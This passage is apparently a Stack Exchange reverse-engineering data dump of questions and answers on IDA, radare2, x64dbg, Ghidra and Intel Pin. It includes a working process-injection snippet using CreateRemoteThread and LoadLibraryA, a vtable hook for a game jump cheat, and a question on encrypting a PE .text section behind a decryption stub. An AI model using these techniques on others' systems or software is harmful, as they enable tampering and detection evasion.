  <row Id="22482" PostTypeId="1" CreationDate="2019-11-07T11:45:52.403" Score="1" ViewCount="1278" Body="&lt;p&gt;I have using IDA Pro 6.8 (Hex-Rays 2.2), the default settings.&lt;/p&gt;&#xA;&lt;p&gt;The problem starts to happen when I'm trying to analyze function (which actual size ~2886 bytes), pressing &lt;kbd&gt;F5&lt;/kbd&gt; (without errors or alerts) and getting in output only first few code blocks:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aImRM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aImRM.png&quot; alt=&quot;Hex-Rays output&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But &lt;strong&gt;&lt;a href=&quot;https://pastebin.com/jfWTu3F4&quot; rel=&quot;nofollow noreferrer&quot;&gt;actual code&lt;/a&gt;&lt;/strong&gt; is much bigger than the result, why Hex-Rays skip all other code, and how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="22694" LastEditorUserId="37138" LastEditDate="2021-12-06T05:15:43.147" LastActivityDate="2022-01-05T06:04:45.397" Title="Hex-Rays skips code" Tags="|ida|hexrays|decompile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22483" PostTypeId="2" ParentId="22482" CreationDate="2019-11-07T13:26:39.467" Score="1" Body="&lt;p&gt;As I know it's a default hex rays behavior. If it can't decompile something, it will just skip it. In your case it looks like it failed to analyze stack.&#xA;Same thing was in IDA 7.0, and even in 7.2. What's the situation in further IDA versions I don't know.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-11-07T13:26:39.467" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22484" PostTypeId="1" CreationDate="2019-11-07T15:26:48.667" Score="1" ViewCount="639" Body="&lt;p&gt;While I open exe file  in ida I can see lot of calls to  &lt;code&gt;mfc140_6153&lt;/code&gt; &#xA; or &lt;code&gt;mfc140_8718&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are those functions ? what they do ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks &lt;/p&gt;&#xA;" OwnerUserId="30111" LastActivityDate="2019-12-14T10:02:50.260" Title="mfc140 dll , what is the usage?" Tags="|ida|windows|c|dll|mfc|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22485" PostTypeId="1" CreationDate="2019-11-08T02:27:14.140" Score="2" ViewCount="1239" Body="&lt;p&gt;I'm new to Linux operating system.&#xA;Last day, I practice &quot;heap exploitation&quot;, and they give me an ELF file, and a &lt;code&gt;libc.so.6&lt;/code&gt; file, and they said I must debug/exploit with that libc file, but I don't know how to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to run the ELF file, and I receive &quot;Illegal instruction (core dumped)&quot;. After googling, I try with &lt;code&gt;LD_PRELOAD&lt;/code&gt;, &lt;code&gt;LD_LIBRARY_PATH&lt;/code&gt; but no luck. I'm using LUbuntu 18.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can you guys help me with this case?&lt;/p&gt;&#xA;" OwnerUserId="27374" LastEditorUserId="245" LastEditDate="2019-12-17T22:55:17.633" LastActivityDate="2023-01-17T10:14:59.630" Title="How to use the libc.so.6 file?" Tags="|libc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22486" PostTypeId="2" ParentId="22443" CreationDate="2019-11-08T19:36:04.720" Score="8" Body="&lt;p&gt;You need to edit the field width.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, click the &quot;Edit the Listing fields&quot; button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1zTxh.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1zTxh.png&quot; alt=&quot;Edit the Listing fields&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, drag the &quot;Field Name&quot; border to the right until the text is fully displayed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RrAIh.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RrAIh.png&quot; alt=&quot;Field width&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27837" LastActivityDate="2019-11-08T19:36:04.720" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22487" PostTypeId="2" ParentId="21207" CreationDate="2019-11-08T19:58:39.753" Score="4" Body="&lt;p&gt;The Ghidra decompiler was integrated into &lt;a href=&quot;https://github.com/radareorg/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt;, which is a command line disassembler (among other things). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to install the &lt;a href=&quot;https://github.com/radareorg/r2ghidra-dec&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2ghidra-dec&lt;/a&gt; package. You can then use the &lt;code&gt;afl&lt;/code&gt; command to print the function list and the &lt;code&gt;pdg&lt;/code&gt; command to show Ghidra's decompiled output for a given function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080484d0]&amp;gt; afl&#xA;0x080484d0    1 50           entry0&#xA;0x08048503    1 4            fcn.08048503&#xA;0x08048480    1 6            sym.imp.__libc_start_main&#xA;0x08048530    4 50   -&amp;gt; 41   sym.deregister_tm_clones&#xA;0x08048570    4 58   -&amp;gt; 54   sym.register_tm_clones&#xA;0x080485b0    3 34   -&amp;gt; 31   entry.fini0&#xA;0x080485e0    1 6            entry.init0&#xA;0x08048780    1 2            sym.__libc_csu_fini&#xA;0x08048520    1 4            sym.__x86.get_pc_thunk.bx&#xA;0x0804865f    1 63           sym.vuln&#xA;0x08048430    1 6            sym.imp.gets&#xA;0x08048714    1 4            loc.get_return_address&#xA;0x08048420    1 6            sym.imp.printf&#xA;0x08048784    1 20           sym._fini&#xA;0x08048720    4 93           sym.__libc_csu_init&#xA;0x08048510    1 2            sym._dl_relocate_static_pie&#xA;0x0804869e    1 118          main&#xA;0x08048490    1 6            sym.imp.setvbuf&#xA;0x08048450    1 6            sym.imp.getegid&#xA;0x080484b0    1 6            sym.imp.setresgid&#xA;0x08048460    1 6            sym.imp.puts&#xA;0x080485e6    3 121          sym.flag&#xA;0x080484a0    1 6            sym.imp.fopen&#xA;0x08048470    1 6            sym.imp.exit&#xA;0x08048440    1 6            sym.imp.fgets&#xA;0x080483e8    3 35           sym._init&#xA;[0x080484d0]&amp;gt; pdg @ sym.vuln&#xA;&#xA;// WARNING: Variable defined which should be unmapped: var_4h&#xA;// WARNING: [r2ghidra] Removing arg arg_4h because it doesn't fit into ProtoModel&#xA;&#xA;void sym.vuln(void)&#xA;{&#xA;    undefined4 uVar1;&#xA;    int32_t unaff_EBX;&#xA;    char *s;&#xA;    int32_t var_4h;&#xA;&#xA;    sym.__x86.get_pc_thunk.bx();&#xA;    sym.imp.gets(&amp;amp;s);&#xA;    uVar1 = loc.get_return_address();&#xA;    sym.imp.printf(unaff_EBX + 0x19c, uVar1);&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27837" LastActivityDate="2019-11-08T19:58:39.753" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22489" PostTypeId="1" AcceptedAnswerId="22496" CreationDate="2019-11-09T00:13:34.990" Score="5" ViewCount="2250" Body="&lt;p&gt;Assume I were to be reversing some game which processes all of it's movement client side and have determined some function to be of the type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool __thiscall Player::CanJump(Player *this)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that I have determined to be a member of the Player object's vtable. Now lets assume I wanted to edit that object's vtable to point to my own dll injected implementation so that I could jump whenever I wanted. I could declare it as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool __fastcall CanJumpReplacement(Player *player) {&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace the Player's vtable entry with a pointer to this function. This works as expected, but &lt;em&gt;why should I use the fastcall convention here&lt;/em&gt;? Fastcall is used almost exclusively for this purpose from what I can tell, but I was reading through the calling conventions and cdecl seems to be a much closer match to thiscall than fastcall. Both calling conventions succeeded in replacing the function.&lt;/p&gt;&#xA;" OwnerUserId="30124" LastActivityDate="2023-02-24T13:12:17.063" Title="Why is fastcall used for replacing thiscall functions in memory instead of cdecl?" Tags="|disassembly|decompilation|c++|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22490" PostTypeId="2" ParentId="22470" CreationDate="2019-11-09T00:58:28.627" Score="1" Body="&lt;p&gt;This is an application that used to be part of ScyllaHide. It was responsible for finding addresses of undocumented (and unexported) functions in ntdll by downloading the Microsoft symbols and finding their address there. If you are interested you can find more information about the removal at &lt;a href=&quot;https://github.com/x64dbg/ScyllaHide/commit/6817d32581b7a420322f34e36b1a1c8c3e4b434c&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/x64dbg/ScyllaHide/commit/6817d32581b7a420322f34e36b1a1c8c3e4b434c&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PDBReader should no longer be necessary to use ScyllaHide. You can find the latest version always at &lt;a href=&quot;https://github.com/x64dbg/ScyllaHide/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/x64dbg/ScyllaHide/releases&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2019-11-09T00:58:28.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22493" PostTypeId="1" CreationDate="2019-11-09T22:19:41.257" Score="0" ViewCount="310" Body="&lt;p&gt;I am trying to learn about injecting a DLL into a process and I wanted to simply execute a code which injects an already built DLL so that I could then check with OllyDbg if it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the code below for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LPCSTR DllPath = &quot;E:\\testdll.dll&quot;;&#xA;GetWindowThreadProcessId(FindWindowA(0, &quot;Calculator&quot;), &amp;amp;ProcessId);&#xA;HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);&#xA;LPVOID pDllPath = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);&#xA;WriteProcessMemory(hProcess, pDllPath, (LPVOID)DllPath, strlen(DllPath) + 1, 0);&#xA;HANDLE hLoadThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA(&quot;Kernel32.dll&quot;), &quot;LoadLibraryA&quot;), pDllPath, 0, 0);&#xA;WaitForSingleObject(hLoadThread, INFINITE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently this worked (I have added a MessageBox inside the DLL in order to check that) but I can't find my DLL inside the 'Executable Modules' in OllyDbg. Also, the code inside the DLL keeps running even if I close the process it was injected into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="29795" LastActivityDate="2021-11-29T05:01:50.160" Title="Can't find injected DLL in OllyDbg" Tags="|ollydbg|dll-injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22494" PostTypeId="1" AcceptedAnswerId="22498" CreationDate="2019-11-09T22:31:22.617" Score="0" ViewCount="8062" Body="&lt;p&gt;I have a DLL paused at &lt;code&gt;EntryPoint&lt;/code&gt; in &lt;code&gt;x32dbg&lt;/code&gt;. I am interested in examining memory following a specific API call that this DLL makes. I found the API call in the &lt;code&gt;imports&lt;/code&gt; section when I open the DLL in &lt;code&gt;IDAFree&lt;/code&gt; and then I see the API function call in IDA. I follow it in code and IDA shows it's at address: &lt;code&gt;10001B66&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that when I try to set a breakpoint at this address in &lt;code&gt;x32dbg&lt;/code&gt; (&lt;code&gt;bp 0x10001B66&lt;/code&gt;), it gives me an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error setting breakpoint at 10001B66! (memread)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Additionally, in &lt;code&gt;x32dbg&lt;/code&gt;, I'm seeing addresses such as &lt;code&gt;714A7D39&lt;/code&gt; for my DLL. Now, I'm new to this but I'm guessing that the &lt;code&gt;memread&lt;/code&gt; error is because &lt;code&gt;10001B66&lt;/code&gt; -- as seen in IDA -- is not a valid memory address in the context of execution in the debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I get the correct address of this API function call so that I can set the correct breakpoint? &lt;/p&gt;&#xA;" OwnerUserId="17040" LastActivityDate="2019-11-10T09:33:55.257" Title="How to use memory address information from IDAFree to set a breakpoint in x32dbg?" Tags="|ida|disassembly|debugging|memory|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22495" PostTypeId="2" ParentId="22493" CreationDate="2019-11-10T00:31:28.707" Score="1" Body="&lt;p&gt;After the target process is gone the code should not be running anymore, which makes me suspect you inject into a different process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try printing your &lt;code&gt;ProcessId&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;FindWindow&lt;/code&gt; or &lt;code&gt;GetWindowThreadProcessId&lt;/code&gt; fail, you'll likely end up injecting into pid 0 (the idle process). I'm a bit surprised that it works, but it would explain why your DLL code is actually executed, not visible in the calculator module list and persists even after exiting the calculator.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-11-10T00:31:28.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22496" PostTypeId="2" ParentId="22489" CreationDate="2019-11-10T00:48:11.053" Score="5" Body="&lt;p&gt;This question is a bit confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both &lt;code&gt;__fastcall&lt;/code&gt; and &lt;code&gt;__thiscall&lt;/code&gt; share that they use &lt;code&gt;ecx&lt;/code&gt; as the first storage point. So either you implicitly say the class pointer will be in &lt;code&gt;ecx&lt;/code&gt; (&lt;code&gt;__thiscall&lt;/code&gt;) or you say the function is not a member function but has one argument - which also gets passed in &lt;code&gt;ecx&lt;/code&gt; when using &lt;code&gt;__fastcall&lt;/code&gt; so the class pointer still ends up in the right register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, both calling conventions use callee cleanup so no problem here, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this only works for no-argument functions. If your function had an argument, it would end up in &lt;code&gt;edx&lt;/code&gt; for &lt;code&gt;__fastcall&lt;/code&gt;, but on the stack for &lt;code&gt;__thiscall&lt;/code&gt; and therefore not work anymore.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-11-10T00:48:11.053" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22498" PostTypeId="2" ParentId="22494" CreationDate="2019-11-10T09:33:55.257" Score="2" Body="&lt;h2&gt;Procedure:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get base address in x64dbg: Load the binary in x64dbg. Go to &quot;Memory Map&quot; tab.&#xA;Find the binary name in info column. Then copy the address with the right&#xA;click on it. For example, in the following screenshot, the x86_64 PE binary&#xA;name is &lt;code&gt;Project1.exe&lt;/code&gt; and the base address is &lt;code&gt;0x00007FF6A4850000&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y7YAP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y7YAP.png&quot; alt=&quot;x64dbg-memory-map-view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Rebase in IDA: Open the binary in IDA. Click on Edit &gt; Segments &gt; Rebase&#xA;program &gt; Enter the value which is copied from previous step.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/483qp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/483qp.png&quot; alt=&quot;ida-rebase-program&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Start debugging: Find the API call in IDA. Copy the address of that instruction&#xA;from assembly view. Go to &quot;CPU&quot; tab in x64dbg. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;&#xA;in x64dbg and enter the address which you want to see.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b7vGz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b7vGz.png&quot; alt=&quot;enter-address-x64dbg-to-debug&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This procedure changes the base address of the loaded binary in IDA according to x64dbg. This can also be done manually by calculating the difference between the base address and the point where you want to set the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=DGX7oZvdmT0&quot; rel=&quot;nofollow noreferrer&quot;&gt;YouTube/OALabs: Disable ASLR For Easier Malware Debugging With x64dbg and IDA Pro&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2019-11-10T09:33:55.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22499" PostTypeId="1" CreationDate="2019-11-10T11:37:05.387" Score="0" ViewCount="168" Body="&lt;p&gt;I've created a simple program in C that prints the text &quot;Hello, World&quot;. I'm learning to use Radare and attempting to change the &quot;Hello, World&quot; string in the binary executable (PE in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem I'm having is after I change the text running &lt;code&gt;px&lt;/code&gt; shows all bytes are 0xFF. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D:\Projects\fasm\learning&amp;gt;radare2 -v&#xA;radare2 3.9.0 1 @ windows-x86-64 git.3.9.0&#xA;commit: 4d04a91c06413fe1b9fb0891fca8f42c927df1fd build: Tue 09/17/2019__18:51:56.27&#xA;D:\Projects\fasm\learning&amp;gt;radare2 empty-func.exe&#xA; -- Switch between print modes using the 'p' and 'P' keys in visual mode&#xA;[0x004012e1]&amp;gt; / Hello&#xA;Searching 5 bytes in [0x41b000-0x41c000]&#xA;hits: 0&#xA;Searching 5 bytes in [0x419a00-0x41b000]&#xA;hits: 0&#xA;Searching 5 bytes in [0x419000-0x419a00]&#xA;hits: 1&#xA;Searching 5 bytes in [0x418600-0x419000]&#xA;hits: 0&#xA;Searching 5 bytes in [0x412000-0x418600]&#xA;hits: 0&#xA;Searching 5 bytes in [0x411a00-0x412000]&#xA;hits: 0&#xA;Searching 5 bytes in [0x401000-0x411a00]&#xA;hits: 0&#xA;0x00419000 hit0_0 .Hello, world.&#xA;[0x004012e1]&amp;gt; s 0x00419000&#xA;[0x00419000]&amp;gt; px&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00419000  4865 6c6c 6f2c 2077 6f72 6c64 0a00 0000  Hello, world....&#xA;0x00419010  ffff ffff 0100 0000 0000 0000 0000 0000  ................&#xA;0x00419020  0100 0000 b119 bf44 4ee6 40bb 0000 0000  .......DN.@.....&#xA;0x00419030  ffff ffff 0000 0000 0000 0000 0000 0000  ................&#xA;0x00419040  2005 9319 0000 0000 0000 0000 0000 0000   ...............&#xA;0x00419050  0000 0000 0000 0000 0000 0000 0120 0000  ............. ..&#xA;0x00419060  0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;0x00419070  0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;0x00419080  0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;0x00419090  0000 0000 0220 0000 0100 0000 0000 0000  ..... ..........&#xA;0x004190a0  0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;0x004190b0  0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;0x004190c0  0000 0000 0000 0000 0000 0000 0224 0000  .............$..&#xA;0x004190d0  0200 0000 0000 0000 0000 0000 0000 0000  ................&#xA;0x004190e0  0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;0x004190f0  0000 0000 0000 0000 0200 0000 0000 0000  ................&#xA;[0x00419000]&amp;gt; w Hola. mundo\x00&#xA;Failed to write&#xA;[0x00419000]&amp;gt; oo+&#xA;[0x00419000]&amp;gt; w Hola. mundo\x00&#xA;[0x00419000]&amp;gt; px&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x00419000  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00419010  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00419020  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00419030  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00419040  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00419050  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00419060  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00419070  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00419080  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x00419090  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x004190a0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x004190b0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x004190c0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x004190d0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x004190e0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;0x004190f0  ffff ffff ffff ffff ffff ffff ffff ffff  ................&#xA;[0x00419000]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And ideas what I'm doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="30140" LastActivityDate="2019-12-30T12:38:05.620" Title="Radare2 produces null bytes on write" Tags="|radare2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22500" PostTypeId="1" CreationDate="2019-11-10T16:28:54.883" Score="3" ViewCount="873" Body="&lt;p&gt;I am working on PE segment encryption(in C++). I completed the PE32 .text segment encryption. I added stub segment to the PE that will decrypt .text segment at runtime. Used inline assembly in the stub function. But I can't implement the same method in PE32+ executable(64bit exe) as it won't support inline assembly. I am able to add the stub and encrypt the text segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue is with the decryption logic in the stub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding separate .asm files but failed as I am new to assembly language.&#xA;Is it possible to do without assembly language? Please help me with any good documentation or samples on PE32+ segment encryption.&lt;/p&gt;&#xA;" OwnerUserId="30141" LastActivityDate="2022-12-25T18:07:25.900" Title="PE32+ executable : .text segment encryption" Tags="|c++|encryption|x86-64|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22501" PostTypeId="1" CreationDate="2019-11-10T16:33:42.903" Score="0" ViewCount="129" Body="&lt;p&gt;I am working on modifying my Intel Pin based tool. As before I am using VS2015 on Windows 10. Previously, I have been testing a tool on the same system where I build it and it worked just fine. The real use of a tool was on the Win7 virtual machine. Recently, I started getting incorrect behavior of a tool. It doesn't crash, however, it stops recording traces before it should and writes the following in the log file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A:  source\pin\pin\image.cpp: LEVEL_PINCLIENT::RTN_Name: 2012: assertion failed: RTN_Valid(x)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought that it was caused by recent updates of a Windows or new antivirus that was introduced by our IT department. However, I tested it on the Win7 VM and it worked there as fine as before. Then I have created Win10 VM without antivirus and switched off all possible security features but got the same &lt;em&gt;assertion failed&lt;/em&gt; problem. I have been using Intel Pin 3.6, so I decided to build my tool under 3.11 but got the same problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, a question: what causes such behavior? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, that Pin's FAQ doesn't explicitly say (&lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-faq&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-faq&lt;/a&gt;) that Intel Pin should work on Win10, however it worked for me before. &lt;/p&gt;&#xA;" OwnerUserId="15278" LastActivityDate="2019-11-10T16:33:42.903" Title="Intel Pin assertion failed: RTN_Valid(x)" Tags="|windows|pintool|windows-10|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22502" PostTypeId="2" ParentId="22500" CreationDate="2019-11-10T18:10:44.103" Score="-1" Body="&lt;p&gt;If you're going to use assembly stubs, you can just patch it directly to the binary. You don't really need to use c++ to do that for you.&lt;br&gt;&#xA;To do that for both 32 and 64 bit, you can use &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea&quot; rel=&quot;nofollow noreferrer&quot;&gt;CreateFile&lt;/a&gt;, &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga&quot; rel=&quot;nofollow noreferrer&quot;&gt;CreateFileMapping&lt;/a&gt;, and &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile&quot; rel=&quot;nofollow noreferrer&quot;&gt;MapViewOfFile&lt;/a&gt;. This will allow you to dump the .text section, basically all sections, of the PE and you can do whatever you want to it. Then you can add a function to decrypt it or whatever and/or write a stub to do the decrypting portion of it in a space big enough to fit that stub or just add another section to the PE&lt;/p&gt;&#xA;" OwnerUserId="29798" LastEditorUserId="29798" LastEditDate="2019-11-10T19:28:43.610" LastActivityDate="2019-11-10T19:28:43.610" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22503" PostTypeId="1" CreationDate="2019-11-10T20:15:39.583" Score="1" ViewCount="91" Body="&lt;p&gt;I am currently trying to create subtitles for some proprietary Sony software. Unfortunatly, it only recognizes Sony's own .m4t subtitles format. After some research I found that this subtitles is also used in Crackle app for PS3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is source code of this app available here:&#xA;&lt;a href=&quot;https://github.com/eigentopia/PS/tree/92d04b264016c4a16c6772bd9cf7c1184649cf54/js/app/com/dadc/lithium&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/eigentopia/PS/tree/92d04b264016c4a16c6772bd9cf7c1184649cf54/js/app/com/dadc/lithium&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for model/TTMLSubtitleModel.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This format appears to be some variant of TTML subtitles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subtitles converted to .ttml and with extintion changed to .m4t is recognized by the programm, but isn't displayed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help with figuring out this format (or it's differences from standard TTML) is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="30144" LastActivityDate="2019-11-10T20:15:39.583" Title="Need help reversing .m4t TTML subtitles format" Tags="|file-format|javascript|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22505" PostTypeId="1" CreationDate="2019-11-11T01:45:17.810" Score="0" ViewCount="258" Body="&lt;p&gt;I'm trying to debug a backtrace created with rr so I type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rr replay -s 50505 -k&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it displays out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb '-l' '10000' '-ex' 'set sysroot /' '-ex' 'target extended-remote 127.0.0.1:50505' target&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I attach to it with ida remote debugger - i can continue, dismiss exceptions but nothing else - pressing the step over button just resumes the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also rr have special set of instructions reverse-* however when i type &lt;strong&gt;anything&lt;/strong&gt; in the gdb command line at the bottom it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;error sending command to monitor&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14334" LastActivityDate="2019-11-11T01:45:17.810" Title="&lt;error sending command to monitor&gt;" Tags="|ida|gdb|" AnswerCount="0" CommentCount="5" ContentLicense="CC 